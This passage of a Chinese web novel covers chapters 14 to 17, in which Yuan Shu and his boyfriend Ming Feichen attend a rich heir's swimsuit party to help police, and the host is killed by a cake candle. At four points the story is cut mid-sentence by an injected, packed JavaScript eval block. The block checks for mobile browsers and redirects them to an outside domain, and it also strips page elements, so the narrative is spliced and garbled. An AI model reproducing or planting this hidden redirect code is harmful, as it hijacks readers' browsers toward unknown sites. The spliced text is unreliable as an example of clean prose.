“就是不知道怎么进去。”王佩佩惆怅,“毕竟圈子和圈子是不流通的,你老板是好人吗?愿不愿意帮忙啊?” 元舒闻言还认真想了一下,按照邬从律的性子,指不定那名过生日的富二代都不准备邀请他参加派对。 不过……明飞尘或许可以。 “警察会有办法,你不用担心。”元舒安慰她,“回去好好洗澡睡一觉吧,好好休息,你明天不上班吧?” 王佩佩一个激灵,哀嚎着奔向电梯:“我手机没电,忘记跟我领导请假了!我明天不会还要上班吧!?” 事实证明,是的。 王佩佩在给手机充上电后,撒谎今晚不舒服,想明天请假,结果领导不回消息,于是第二天她不得不拖着疲惫的身躯去上班,以至于在坐地铁的路上,恨不得尤明达来把她掳走。 相比于上班,还是死了更痛快。 元舒则是罕见一觉睡到自然醒。十点半,他洗漱好,给自己做了个三明治,泡杯牛奶坐在厨房岛台吃早餐。 他打开电脑,回复田队的消息,如王佩佩所说,他们确实没有资源和身份能够进入尤明达口中的生日派对,田队甚至委婉地问他,能不能找明飞尘问问。 元舒头疼,实际上他并不想让明飞尘知道这件事,但毫无疑问,想要找到线索,现在他只有两个选择:明飞尘、邬从律。 二选一,元舒纠结许久,最终选择明飞尘。 一是明飞尘本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239166|181879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来就是个纨绔富二代,容易不引起尤明达等人的注意,二是方便和田队搭档查线索。 元舒把消息掐头去尾,忽略了昨晚邬从律当司机以及王佩佩逃亡的事,只说田队在尤明达身上找到了线索,需要明飞尘帮忙,参加某个富二代的周末生日派对。 谁知明飞尘听到他的话,讶异:“尤明达?” “你认识?”元舒敏锐地从电话那头,明飞尘的语气听出不对劲。 “你不记得了吗?是他的朋友邹嘉泽介绍我们相亲的。” “……” 什么鬼,他们居然是相亲认识的吗? “也不算相亲吧,反正是他把你介绍给我,然后我们一见钟情,二见坠入爱河。”明飞尘笑道,“他可是我们的大媒人呢。” 在电话另一头某人感慨的语气中,元舒几乎能在脑子里幻视对方撑着下巴,笑眯眯的模样,必然是调侃含笑地等待他的回答。 “……那我们能去生日派对吗?”元舒坚韧不拔地拨开这些调笑的话语,找到重点。 “当然,这次还是邹嘉泽的生日宴会呢,我就算不说,他也邀请了我们。” 元舒松口气,这件事就这样轻松解决了。 “不过……” “不过什么?”元舒警惕。 “不过他们的派对,是泳装派对哦宝宝。”明飞尘悠悠道,“我怕你太保守,承受不住。” “……” 元舒选择挂断了电话。 距离周末还有三天,元舒在这三天里待在家里没出门,仔细把家里有可能藏有监控摄像头的地方进行了全面搜索,以及处理工作、回复其他几个男友的信息。 元舒翻阅旧手机的聊天记录,发现大部分记录都停留在一个月以前,而在上个月时,包括邬从律在内的六个男朋友们,似乎都因为生活琐事而没有太频繁地跟原主交流,稍微热情一点的只有明飞尘,但也只是转账。 元舒心里总是有点不安。 不是因为这六个人里面隐藏的杀人犯,而是因为——原主的死亡。 原主真的是因为高烧引发心梗而死的吗?为什么那么巧合,他穿过来之后,就换了新手机,又那么巧合地发生了杀人案件呢? 有没有可能,原主也是被“意外”死亡,所以他才有机会穿过来的呢? 越想,元舒就越觉得四周像是有如影随形的视线正戏谑地看着他,等待他露出破绽,等到他落空,将他击杀。 算了,多想无宜。 想多了,心情紧张,反而会丧失了斗志,还不如放平心态。 元舒深呼吸一口气,把电脑合上,看了眼时间。 傍晚六点半。 他带上整理好的背包,穿鞋出门,到了楼下,一辆骚包的红色超跑正停在小区门口。 驾驶座上,穿着黑衬衫,解开扣子,露出些许胸肌的男人摘下眼镜,含情的丹凤眼,眉头往上一挑,勾魂似地喊:“宝贝儿,想我了没?” “……” 有那么一瞬间,元舒想挖个洞逃离这里。 15. 第二个男朋友 最后元舒还是坐上了骚包超跑的副驾,而某个骚包在开车时仍然不忘记花孔雀开屏。 “为了你,我今天可是特地买了辆新车,虽然不贵,但是很耀眼哦~适配我们。” “……” 元舒憋不住问了嘴:“多少钱?” 明飞尘思索:“五百万。” “……” 这个世界果然还是该毁灭。 元舒面无表情地看向前方,认为即使确定了杀人凶手,明飞尘这个炫富的玩意儿也该被千刀万剐。 “你想要我就送给你嘛,不要不高兴。”明飞尘哈哈笑道,“都是小事。” 元舒本来想拒绝,毕竟要了之后麻烦增多,一是他不好意思开到公司去,二则是各种保养费、保险费、油费、停车费……仔细想一下还不如地铁划算,而且元舒不太会开车。 不过他看着明飞尘嬉皮笑脸的模样,开口应了:“好,那你送我吧。” 反正到手就卖出去,明飞尘跟他生气他就趁机分手! 明飞尘笑容一顿,眼中闪过讶异,他没想到元舒竟然真的会同意。 “好啊,今天回去我就叫管家把车过户给你。”他也不吝啬,爽快地应了。 夜色寂寥,开过车水马龙的道路,拐弯到另一条路时,元舒知道,他们快要到目的地了——阜仙园。 本市最大的别墅区,还没进入大门,在五百米处,就能看见指示牌,越往前,夜里路灯闪亮,蔷薇花盛开,粉白一片。 昏暗的夜色里,他们驶在布满蔷薇花的道路,像是在前往梦幻庄园。 约莫二十分钟,他们就进入了阜仙园,来到了其中一栋蔷薇花别墅门前。 门口停了很多元舒不认识的豪车,从大门铁栅栏往里头看去,人头攒动,热闹非凡。 来的人不少。 “邹嘉泽的车库停不下了,我们就停门口吧,反正也宽。” 有个刚下车的富二代环顾四周,跟自己的女伴说着,说完,视线触及到红色超跑上的两人,眼前一亮,当即快步走过去。 “明少啊!好久不见!” 富二代笑容满面地打招呼,“上次约你出来吃饭,没约到真的很遗憾,没想到这次居然在这里见着你了,邹嘉泽真是有面子,能把你请过来。” 元舒在他脸上看到了谄媚,看来明飞尘在圈子里的地位不低。 “红娘生日,这不得来带老婆来吃个饭吗?”明飞尘拦住元舒的肩膀,也跟着笑。 富二代的目光自然而然地落在他身旁的青年身上。 实话说,刚刚他第一眼先看见的是元舒,虽然穿着的是最简便不过的T恤长裤,但那张脸着实出色,黑发白肤,眼睛大而纯净,气质沉静,带了几分疲惫,不显憔悴,反而显出脆弱易碎的感觉,叫人生出施虐欲。 他本来想着是谁那么有艳福,要是关系不错,家事相当,或许可以讨过来玩玩……只是没想到是明飞尘,那就玩不起了。 “你好,嫂子,我叫张辰。”富二代笑嘻嘻地打招呼,“以后有什么事要人帮忙跑腿可以随时找我。” 见人乌黑长睫一眨一抬,盯着他,张辰心都酥了,不由补充了句:“明少不介意的话,咱们也能加个联系方式。” “我介意。”明飞尘笑意不达眼底,慢悠悠道,“趁我现在心情还行,不想动手,你现在最好赶紧给我滚进去,别逼我抽你。” “……” 张辰笑容僵硬,还想说两句话混过去,但瞥见明飞尘的脸色,当即火烧屁股似的跑回自己的车旁,把摆脸色的女伴揪出来,飞一样进了别墅。 “这群人男女不忌,你少搭理。”明飞尘嗤了声,嘱咐元舒,“要是有不长眼的惹你,你直接动手也没事,我罩着你。” “……好。” 元舒心平气和,他对于这场景早有预料,也不感到稀奇和震惊。 他摸了下右耳戴着的蓝牙耳机,轻敲两下,田队的声音在那边传来。 “可以开始了,我们在外面等你,一有消息,直接传,我们就会进去。” 元舒应好。 “跟你说什么了?”明飞尘揽着他肩膀往里走时,看见他的动作,问。 蓝牙耳机只有元舒戴着,明飞尘没有。 “可以开始行动了。”元舒单击关闭耳机。 他不想让其他人听见明飞尘说的那些垃圾暧昧话,这会让他非常羞耻,也会暴露他们之间的关系,田队藏着的秘密他还不清楚呢。 以防万一,还是谨慎为上。 明飞尘颔首,抱怨:“早点抓着吧,都影响我们谈恋爱了。” 元舒不理,心中腹诽,要不是因为谈恋爱,这事儿可能都不会出现。 两人一同进了别墅,被管家和侍从迎去后院,喧闹笑声杂乱刺耳,来回走动的男女都穿着泳装。 明明是夜晚,他们身上却散发着浓郁的荷尔蒙气息。 他们在尽情地释放自己的魅力,释放自己的欲望,今晚不仅仅只是生日派对,也不仅仅只是泳装派对。 元舒在看见有一对男人拥吻着倒在屋内的沙发上,滋滋的亲吻声和急促的呼吸彰显着他们此时蓬勃的情欲。 他不禁朝着明飞尘靠近,以免被误伤。 明飞尘低低地笑:“我就说,你会不适应,再晚点,你说不定会看见更火辣的。” 元舒睨他一眼:“你很适应?” “……” 明飞尘假咳:“不适应。我之前都不爱跟他们玩的,刚才张辰不是说了吗?他约我,我都不出去。” 他向元舒表忠心:“我只陪着你。” “算了吧。”元舒哼了声,甩开他的手臂往前走。 明飞尘无奈跟上。 两人走了会儿,很快就在来往男女的“引导”下,来到了别墅后院。 站定,入目便是一片巨大的异形游泳池,灯光明亮,水面波光粼粼,男女或围着泳圈,或扶着栏杆在说笑打闹,岸上也有人躺在沙滩椅上,翘着腿喝酒。 “飞尘,你真来了呀?” 一个爽朗的男声骤然响起,元舒朝来人看去,就见一个穿着橙色沙滩裤,带着墨镜的男人走过来。 男人熟稔地拍了把明飞尘的手臂,又看向他,“元舒也来了,看来还是托了我牵红线的福,才把你们两位大忙人给请来了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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门内走出来的青年穿了条黑色紧身泳裤,勾勒出纤细白皙的长腿,大约是不常见光的缘故,皮肤白得晃眼,顺着小腿往上,膝盖微粉,再往上看……白色衬衫下摆遮住了腰腹的位置,欲盖弥彰,半遮半掩得更叫人心中热血沸腾。 白衬衫宽大,又有些透,离得近,隐约能看见底下纤细的腰肢和胸脯,单薄的身躯与走动时不经意透出的骨骼…… 明飞尘觉得自己面前的人像是一尊被至高台的精美瓷器,脆弱易碎。 而对方却浑然不知,双手捏着衬衫下摆,把衣角扯了扯,不自然地问他:“很奇怪吗?” 除了上班,元舒不常外出,更别提运动,而原主倒是个运动健将,衣柜里都是各种服装,可元舒发现那些衣服非常地……裸露且流行,这让他这个社畜感到一丝悲伤和崩溃,所以他挑来挑去,最后还是挑中了一挑纯黑泳裤以及宽松的白衬衫作泳装。 如果换作是在外头的泳池,元舒根本不会在意自己的装束会不会奇怪,但这是在富二代们别墅里的泳池,他怕影响到案件调查,也怕自己太突兀,吸引众人注意力。 明飞尘的眼神很奇怪,看得元舒头皮发麻,紧张不安。 “明飞尘?” 元舒见他上下眼皮一抬一和,和电子仪器似的细细扫过他的身体,不禁推了他一把。 “看什么呢?为什么不回答我的问题?” 被他推了,明飞尘这才像是慢半拍地在白日梦里醒来。 这个男人脑袋一仰,靠在墙上,哎了声,黑眸幽深,带着笑说:“我以前怎么没发现,你身材那么好呢?” 16. 第二个男朋友 元舒已经习惯了明飞尘的调戏,对于他的话直接免疫。 “不奇怪就行。”元舒说着就往外走,然后走了两步被拽着手臂拖了回来。 “怎么了?”他不满地回头看明飞尘。 明飞尘对他伸出食指,摇晃表示拒绝:“不准这样出去。” 元舒不解:“为什么?” 明飞尘笑眯眯:“我吃醋。” “……” 明飞尘吃醋的后果是什么,元舒很清楚。 他不想对方在这个时候发疯,影响案件调查,所以耐心地问:“那你想让我穿什么?这里是泳装派对,我不可能穿着休闲服去,除非你想我穿这一身上你的车离开。” “如果你愿意穿这身上我的车和床,我也不介意。”明飞尘眨眼装无辜。 “……” 元舒耐心告罄,微笑道:“我介意。你别逼我在这里踹了你。” 这话一出,也不知道是哪里戳中了明飞尘的笑点,这人竟然弯着腰突然大笑起来。 四周的目光或疑惑或好奇地朝他们看来,就连靠近楼梯,正对着泳池的窗外,邹嘉泽与几个男女也津津有味地打量着他们,像是在看一场演出。 元舒蹙眉,冷漠道:“明飞尘,不准笑。” 他难得用这样命令的语气,明飞尘本还新奇,可含着笑抬头,却对上对方如浸了冰的黑眸,笑容微顿,神情怔愣。 “我非常不喜欢这种莫名其妙的感觉。”元舒脸色没有丝毫改变,他一字一句道,“如果你不想惹我生气,就立刻收敛起那副让人厌恶的嘴脸。” “……” 明飞尘看出元舒的认真与不容置疑,脸上的笑终于消失。他直起身子,“抱歉,是我有点发疯了。” 他指着自己的太阳穴,可怜道:“我以前出过车祸,医生说我脑子里的瘀血没散干净,宝宝你原谅我吧……” 元舒不知道他是不是在胡掐,但这是一个分手的好理由,暂时保存。 “宝宝……”明飞尘低声哄,“我错了。” 眼见着时间过得越来越快,外面的笑闹声欢快,元舒不想跟他继续在这里歪缠耽误时间,微微阖目,再睁眼,直接转身走向了泳池。 明飞尘立即跟了上去。 元舒板着脸,步子走得也快,几乎是眨眼间就到了泳池边上。 他一出场,四周瞧见他的人声音都安静了一瞬,盯着他挪不开眼,直到明飞尘慢悠悠地走到元舒背后,像是守护宝物的恶龙,冰冷的视线投向每一个企图觊觎的人。 很快,众人就回神,装若无事地收回目光,继续玩乐,只是多少有些心不在焉。 “诶,明少艳福不浅啊。”张辰坐在沙滩椅上喝鸡尾酒,羡慕嫉妒地对自己身旁的人说,“邹嘉泽也真是的,献殷勤把人介绍给明少,明少日理万机,哪里有心思给邹嘉泽什么好东西啊。” “对啊,邹嘉泽还不如把人介绍给我呢……好歹我也是能拿出点东西给他的。”另一个坐在邹嘉泽左侧的人低声嘀咕。 “话也不能这么说,毕竟明少心情一好,手指缝里漏点,都够我们家里乐好一阵子。” 右侧的人探头仰下巴,示意他们悄摸看前边儿,“枕边风从古至今可都是好用得很,指不定什么时候邹嘉泽就一步登天了。” 前面不远处,邹嘉泽正笑着和明飞尘说话,明飞尘表面听着,眼睛却盯着底下那个正在往游泳池里探的青年。 有眼睛的人都能看出来他对青年的在意。 张辰几人又不由羡慕起邹嘉泽来,对于他们这群靠家族资产和信托生存的富二代来说,钱比命还重要。 “要是我也能认识这种大美人就好了。”有人嘀咕,“还是邹嘉泽幸运,娶个老婆,有了孩子,家里人不闹腾,穷酸小舅子也能有这种朋友。” “可不是,诶你也别着急,说不定邹嘉泽小舅子还认识其他大美人呢,叫他给你介绍介绍。” 几人说闹着哈哈大笑,其中一人推了把距离自己最近的男人,“尤明达,你怎么愁眉苦脸的?你平时跟邹嘉泽关系不是最好吗?他生日你还板着张脸,你们吵架了?” 尤明达? 元舒在泳池里听到这个名字,侧头往岸边看去,坐在张辰那堆人里面的男人约莫二十五六,长得还算有几分帅,就是面容浮肿,眼下乌黑,一副虚样。 男人的表情不太好,一直没有参与张辰几人的聊天,被这样问了,眉头更是能拧死苍蝇。 “别烦我,你们爱玩自己玩去,我等会儿就走了。”尤明达甩开对方的手,不耐烦道,“要不是邹嘉泽硬要我来,我今天也不会过来……” “真跟邹嘉泽吵架了?”张辰也起了兴头,走到尤明达身旁坐下,搂住他的肩膀,哥俩好地八卦。 “没吵架。”尤明达不想多谈,“得了,你们继续玩吧,我没兴致,我要回家了。” 说着就站起身,可张辰几人不放过他,拉着他笑嘻嘻地追问:“你们不是好得都要穿一条裤子了吗?要我说,你跟他要老婆,他都得答应……” 结果他们没想到,这句话一出,尤明达猛地瞪大眼睛,怒呵着打断,“你说什么呢!?别胡说八道!” 众人吓了一跳,场内几乎大半的人都诧异地看向他,不知道他为什么情绪突然变得那么激动。 元舒见他眼中闪过慌乱与不安,更是笃定他肯定知道些什么东西。 最后还是邹嘉泽出来打圆场,走过去搂住因为激动而站起身的尤明达,“哎,怎么了这是,在我生日宴上吵架啊?” “哪有,我们就是看尤明达心情不太好,过来跟他说几句话,谁能想得到他莫名其妙发脾气。”张辰嘀咕,“别不是跟女朋友吵架,把气撒到我们身上了。” 这一句话又戳痛了尤明达的心,他大怒:“闭嘴!谁叫你说些乱七八糟的话的!” 张辰被骂,泥人也给搓出来三分火气了,他眉毛一竖,冷笑:“什么乱七八糟?你不就是什么都想着跟邹嘉泽看齐吗?衣服鞋子手表车子,什么不是同款?暴发户就是暴发户,没点本身,就连找老婆也想着跟邹嘉泽找差不多的,现在踩着钉子了吧?哈!你什么样邹嘉泽什么样啊!你有那么多钱吗?装货!” “你才装货!”尤明达勃然大怒,当场就要和张辰打起来。 张辰扬起下巴毫不畏惧,还把头凑过去,“打啊,你打啊,跟你玩几天就把自己当跟葱了,算什么玩意儿啊!” “你!” 两边闹得不可开交,其他人也不跟着劝,笑嘻嘻地看热闹,邹嘉泽倒是拉着尤明达,脸色不大好看。 “别吵了,明少还在呢。”邹嘉泽冷下脸,“要吵你们就都给我出去,别打扰了我们玩。” 他看向尤明达:“你不乐意来就不来,也没必要勉强,张辰嘴臭,你别理他就行了,他比你还小几岁,你让让他不行吗?非要在我生日吵架?” 尤明达绷着脸,低下头。 面对张辰,邹嘉泽的话就更简短了:“我生日,你非要提我的老婆吗?” 张辰本来还梗着脑袋,闻言一怔,随后想到什么,脸色讪讪,“我、我一时间没想到……” 之后两人也就不闹了。 不得不说,邹嘉泽处理事情确实快。 只是元舒瞧着,有些奇怪。 他扭头看自己身旁正无聊地拨水玩的明飞尘,虽然不太想搭理他,但还是问,“邹嘉泽老婆怎么了?” “你不知道?” 明飞尘挑眉反问,反问完又想起自己现在的处境,立刻解释,“邹嘉泽的老婆是柯文昊的姐姐。” 元舒如遭雷劈。 明飞尘眯起眼睛,“你一点记忆都没有吗?” 元舒没回答,因为在这一瞬间,他终于理清了原主与邹嘉泽、柯文昊,以及明飞尘的关系。 因为他经常去光顾柯文昊的蛋糕店,因此他和柯文昊成为了朋友,而柯文昊的姐姐嫁给了邹嘉泽,邹嘉泽认识了他……可能是原主想攀附有钱人,毕竟无论是明飞尘,还是邬从律、谷郁浸,都是富n代,所以出于想要讨好明飞尘,邹嘉泽介绍了他和明飞尘相亲。 这就导致了——他和明飞尘因此成为了情侣。 那么尤明达口中的“朋友”,是邹嘉泽吗?而与邹嘉泽有关的人……可是,这一切信息都是明飞尘告诉他的。 这个人,到底是不是凶手? 元舒目光如炬地看向身旁的明飞尘,心思百转千回。 明飞尘被他晶亮的目光看得疑惑,像是不懂这瞬时间内,面前爱侣心中翻天覆地的变化。 “怎么了?宝宝……” 啪—— 话音未落,整栋别墅的灯光猝然消失,唯余天上明月照落的莹白月光。 众人发出诧异不安的叫声,往四处看。 “停电了吗?” “怎么回事啊?” “派对还办吗?” “Happy birthday to you……Happy birthday to you……祝你生日快乐,祝你生日快乐……” 悠然的乐曲伴随着稍显稚嫩的嗓音自别墅内响起,与此同时,烛光靠近。 元舒往前看去,就见一个约莫十二三岁的小男孩正推着摆放着三层大蛋糕的推车从别墅里走出,来到后院泳池。 小男孩口中唱着生日歌,蛋糕最顶端的芭蕾小舞者举着一根银白色的蜡烛,轻轻旋转着,散发着烛光和伴奏。 “Happy birthday to you……Happy birthday to you……” 最后小男孩停在了泳池岸边,朝向邹嘉泽的方向,说道:“爸爸,祝你生日快乐。” 原来是邹嘉泽的孩子。 因为停电而担忧的众人松口气,皆笑着打趣邹嘉泽:“诶,还是嘉泽有福气,儿子还会给你准备生日惊喜。” “我们这样是不是太伤风败俗了,影响小孩呢,都别亲嘴了哈哈哈……” “蛋糕看起来挺好吃的,不过顶上怎么是跳芭蕾的女孩儿,难不成邹嘉泽是女生?” “同行二十年,不知邹郎是女郎!” “去你们的。”邹嘉泽推了把身旁开玩笑的朋友,随后走向了自己的儿子。 “小句,你怎么来这里了?我不是说今晚不回家了吗?”邹嘉泽笑着揉了下小男孩的头,在对方下意识避开时,手掌用力,但又在下一刻松手。 “小姿想爸爸了,一直在念叨你……所以我问了爷爷,想来找你,给你过生日,我们再一起回家。” 小男孩垂着头,看上去有些失落:“我打扰爸爸玩了吗?那我可以跟爸爸一起吹蜡烛,吃完蛋糕,我就叫司机叔叔送我回家。” 众目睽睽之下,邹嘉泽当然不会拒绝儿子,扶着对方肩膀,笑道:“当然可以,我们现在就许愿吹蜡烛吧,不然蜡烛都要烧完了。” “好。” 小男孩点头,在泳池里或者岸边的人也都朝着父子二人聚集,元舒也是。 他一边扶着泳池的栏杆往上爬,一边心里感到了莫名的不安和恐惧。 太黑了。 除了蛋糕上的烛光,以及月光以外,一切都是昏黑的。 人与人靠在一起,元舒只依稀看见了邹嘉泽在众人的簇拥下,闭上眼睛,双手合十地开始许愿。 他的儿子专注地看着他,在烛火下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而元舒浑然不知泳池边上发生的事情,他把这一切声音抛之脑后,眼睛专注地看向前方,脚步飞快地追上前面正在仓惶逃走的黑影。 对方显然对这栋别墅非常熟悉,元舒刚从泳池上岸,脚底打滑,跑着就忍不住往前栽,根本刹不住脚。 在那黑影转身踏上二楼时,他飞一样地扑向客厅的沙发,险些撞了个头晕眼花——如果不是有人在即使后面扯住他的衬衫后领子的话。 元舒松口气,回头看见明飞尘,也想不起来刚刚怀疑对方的事儿,而是立刻拉着对方手臂一起跑上楼,催促道:“快追!他在楼上!” 二人一起狂奔上楼,元舒却因为脚下的水渍,跑了几步就不得不抓住楼梯扶手。 他懊恼,早知道就不下泳池玩了,可明飞尘也下水了,怎么一点打滑的迹象都没?这也太不公平了。 他松开明飞尘的手臂,“你先上去……啊——” 惊叫从元舒口中发出,昏黑的楼梯里,悬空感令他惊慌失措地搂住了身旁男人的脖颈,瞪圆眼睛,难以置信地看着对方。 因为明飞尘把他打横抱起,快速往楼上奔去。 男人的胸膛炙热而湿润,心跳声咚咚作响。 元舒在楼梯窗□□进来的月光看见对方绷紧的脸。 那双平日里常带戏谑的丹凤眼化为了冷沉。 几乎是眨眼间,他们就来到了二楼。 元舒从明飞尘的怀里下来,视线扫过四周,迅速锁定站在客厅沙发背后的黑影。 对方戴着口罩与鸭舌帽。 啪嗒—— 灯亮了。 是明飞尘开的灯。 刺目的灯光让元舒眼睛溢出生理性的泪水。 再睁眼,明飞尘就已经飞扑而上,直接与那人打起来。 对方不堪一击,明飞尘一拳把人打倒,压在地上,扯开了口罩。 明飞尘蹙紧眉头:“怎么是你?” 元舒上前,看见对方的脸后忍不住震惊失声:“柯文昊!?” 柯文昊面露苦笑:“没想到竟然被你们发现了……” 元舒脑子一片空白:“为什么……” “哪有为什么。”柯文昊唇角被明飞尘打伤,溢出鲜血,“邹嘉泽该死,他害死了我姐姐……” 元舒这时候才猝然想起,在烘焙班时,那个女学员和他聊天时,曾经说过的话……柯文昊的姐姐产后抑郁死亡。 一时间,元舒不知道该说什么。 他打开蓝牙耳机,那边传来田队的询问:“怎么了?” 元舒张张嘴,想说话,一道尖锐惊恐的叫声先一步响起。 “杀人了——” !? 元舒怔愣。 他和明飞尘对视一眼,随后不约而同地快步走向了阳台。 底下依旧一片漆黑,唯有蛋糕上的烛火在燃烧、照亮。 人群骚乱,惊慌失措地像是被牧羊犬赶在一起的羊,齐齐看着另一个方向——后院花园的栅栏。 那里有一道黑影迅速窜出,已经逃之夭夭。 泳池边,三层蛋糕打翻在地,原本站在那里许愿的人却已经倒在了地上,抽搐着身体,双目圆瞪,表情震惊而愤怒,旋转的芭蕾舞者手里捧着的蜡烛,深深地插进了他的太阳穴。 他的孩子距离他最近,因为突发的意外摔倒在地,双腿反射性地蹬着地面,像是要远离危险,但最后,还是停了下来。 元舒在阳台上,看见小男孩眼中蓄积的泪水,终于掉了下来。 17. 第二个男朋友 之后的一切都交给了田队处理。 几乎是在听见惨叫声时,田队就立刻开启了行动,强行闯入了阜仙园,来到了别墅后院,禁止所有参与派对的人离开。 柯文昊作为最大的嫌疑人被单独抓走,但元舒知道,他有不在场证明,而逃走的那个不知名黑影,据在场的人说,他们并没有看清楚那个人的脸。 “他戴着口罩和磨镜,衣服好像是连帽的,因为他的头全部被裹起来了……对了!他比我还高一点!” 张辰激动地站起身,对着田队手舞足蹈地比划,“我有一米七三,他应该有差不多一米八吧!” “没那么高!应该和你差不多,一米七左右,你才一米六九呢。”他旁边的人纠正。 “谁一米六九!?”张辰大怒。 “你净身高不是一米六九吗?” “你才一米七二,谎称一米八,你好意思吗?!” 两人竟然因为身高当场就吵了起来,田队额头青筋跳动,咬牙忍耐,忍无可忍,一拍桌子,怒斥:“这里是你们吵架的地方吗?给我把话说清楚了!到底多高?!” 张辰:“……一米六九。” 旁边的男人:“……一米七二。” 田队头痛欲裂:“我问逃走的嫌疑人!” “天太黑了看不清。” “……” 田队摆手,示意队员继续问,然后拿着文件资料,一脸不堪入目地进了办公室。 办公室内的黑色长沙发上,元舒靠在明飞尘的肩膀上昏昏欲睡,听到脚步声,抬起眼睫看了一眼,随后坐直。 “田队。” 田队点头,坐在办公桌后,叹口气:“问不出什么线索,都说太黑了什么也看不着,只看见吹蜡烛的一瞬间,有个人突然从出现,走到了死者邹嘉泽的身边,然后他们就听到了一声惨叫……那个人就逃走了。” “而且因为别墅的电闸关了,监控也都失效了,小区的监控则是看见嫌疑人拿着出入卡离开了大门……卡是死者的,大概是他在杀人时拿走的。” “进入阜仙园的那段蔷薇花路没有监控,嫌疑人显然是踩过点,直接进入路边的森林里,消失了。” 阜仙园里住的人非富即贵,为了保证出入与交往各方的隐秘性,他们要求在进阜仙园五百米内不得安装监控,甚至于在进入园区之后,每户通往自家别墅的道路,都只能安装独属于自己的监控,物业不得查看。 警方想要向他们要监控,十分困难。 相当于所有的线索又一次断了。 “柯文昊呢?”元舒迟疑了一下,还是开口问道。 只是他没想到,田队的表情变得更加复杂,隐隐夹杂着怜悯。 他把手里拿着的文件夹资料放在桌面上,示意元舒过来看。 “柯文昊的姐姐柯文茜在十五年前嫁给了邹嘉泽,生下儿子邹句后从芭蕾舞团辞职,当全职太太,又在去年怀孕,生下女儿邹姿,但这次她患上了产后抑郁……上个月跳楼自杀了,元舒你应该也知道。” 元舒点头,拿起资料,看着上面的文字,一时无言。 “上面还有尤明达的审问记录,在淮水区杀人分尸案头天晚上,和他见面的人就是柯文昊。” 田队扶着头,说道:“柯文茜生下邹句后因为身材原因,和邹嘉泽感情有破裂,但很快就因为恢复得当而和好,可是两人之间始终存在着感情裂缝……尤明达以及其他几个人看在眼里,他们……” 田队说不下去,元舒却知道原因,因为——他们看上了柯文茜。 文件资料上有柯文茜的照片,甚至是年轻时的照片,穿着芭蕾服,站在舞台上,面容秀丽,神态温柔,身材纤细,自信又骄矜。 这样的女人,年轻又富有才华,令人看了便心生柔情,当初的邹嘉泽对她一见钟情,一掷千金,在舞团追了她三年,才把她追到手。 尤明达本来就是邹嘉泽的跟班舔狗,又怎么会不在意邹嘉泽深爱过的人呢? 更何况柯文茜在婚后,因为生育,更显脆弱,母性的光辉令人目眩神迷。 邹嘉泽无视了这一点。 尤明达等人也没那个胆子真正地去做什么,只是不时的骚扰。 暧昧的短信、送花、外出时的跟随……种种都让柯文茜难以忍受。 柯文茜想离婚,邹嘉泽不同意,或者说,不答应把邹句的抚养权给她。 为了孩子,柯文茜忍了,后面,又意外怀孕了…… 怀孕后生下孩子,却又听到了邹嘉泽冷漠的话语。 “尤明达说,他当时跟邹嘉泽在客厅聊天,说了一些……不干不净的话,柯文茜哭着跑出来打邹嘉泽,邹嘉泽打了她一巴掌,第二天凌晨,柯文茜就跳楼了。” 田队深呼吸一口气,继续往下说,“为了不让人诟病,邹嘉泽把柯文茜留下的东西都清理扔掉了。” “尤明达之所以和柯文昊见面,是因为,那天柯文茜和邹嘉泽吵架时,脱下来扔地上的婚戒被他捡到了,尤明达心虚,把这枚戒指当做遗物,交给柯文昊。” 多么可悲,留下的唯一遗物竟然是婚戒。 “柯文昊来到别墅里,是想要杀邹嘉泽吗?”元舒沉默了会儿,说,“但是他一被我和明飞尘追,就跑了,根本没有那种报仇的决心。” 或许是害怕,或许是没下定决心,总归是有疑点。 “蛋糕是他做的,他在里面放了磨碎的栗子粉,邹嘉泽栗子过敏非常严重,吃一口,喉咙就会立刻肿大,阜仙园离医院远,二十分钟足够邹嘉泽窒息。”田队说,“从他的审讯结果来看,他只是害怕自己发生失误,邹嘉泽得救,因此出现在了别墅里面,等待补刀。” 说到这里,田队声音一顿,语气变得严肃:“不过我认为,他和淮水区的杀人分尸案凶手,或许认识。” 元舒把视线从资料里拔出,看向田队。 田队拿出密封袋,巴掌大,透明塑料袋里装着一张卡片。 上面写着——第二个。 熟悉的字迹,即使因为湿润而有些模糊,也令元舒头皮发麻。 “这是在在蛋糕最顶端的装饰,芭蕾舞者配件身体里面找到的纸条。” 田队说:“我们必须做好最坏的打算,杀一个人已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239169|181879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没办法满足他了。” - 元舒和明飞尘离开警局时,邹嘉泽的父母恰好赶来。 他们一进门,就让律师开始跟警察交接,他们则是去确认了邹嘉泽的死亡,再把邹句带走。 邹句显然是知道柯文昊想要杀死邹嘉泽的计划。 